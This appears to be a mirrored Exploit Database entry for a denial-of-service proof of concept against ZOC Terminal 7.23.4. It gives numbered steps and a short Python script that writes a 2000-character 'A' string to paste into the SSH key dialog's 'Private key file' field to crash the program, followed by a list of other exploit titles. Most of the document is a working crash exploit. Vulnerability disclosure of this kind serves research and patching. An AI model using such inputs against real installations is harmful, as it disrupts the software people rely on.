ZOC Terminal v7.23.4 – ‘Private key file’ Denial of Service (PoC)

Exploit Database
78 阅读

作者： Victor Mondragón

日期： 2019-05-16
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/46856/

#Exploit Title:ZOC Terminal v7.23.4- 'Private key file' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-15
#Vendor Homepage: https://www.emtec.com
#Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe
#Tested Version: 7.23.4
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ZOC_Terminal_pkf.py
#2.- Open zoc_pkf.txt and copy content to clipboard
#3.- Open ZOC Terminal
#4.- Select File > Create SSH Key Files... 
#5.- Select "Private key file:" field erease and Paste ClipBoard 
#6.- Click on "Create public/private key files..."
#7.- Crashed

cod = "\x41" * 2000

f = open('zoc_pkf.txt', 'w')
f.write(cod)
f.close()

last Exploits
ZOC Terminal v7.23.4 – ‘Private key file’ Denial of Service (PoC)的更多信息

Microsoft Windows – LSASS SMB NTLM Exchange Null-Pointer Dereference (MS16-137)：
SwiFTP 1.11 – Overflow (Denial of Service) (PoC)：
A10 Networks ACOS 2.7.0-P2 (Build 53) – Buffer Overflow (PoC)：
Monolith Lithtech Game Engine – Memory Corruption：
AzeoTech DaqFactory – Denial of Service：
libcroco 0.6.12 – Denial of Service：
Mumble Murmur 1.2 – Denial of Service：
Apache Sling – Denial of Service：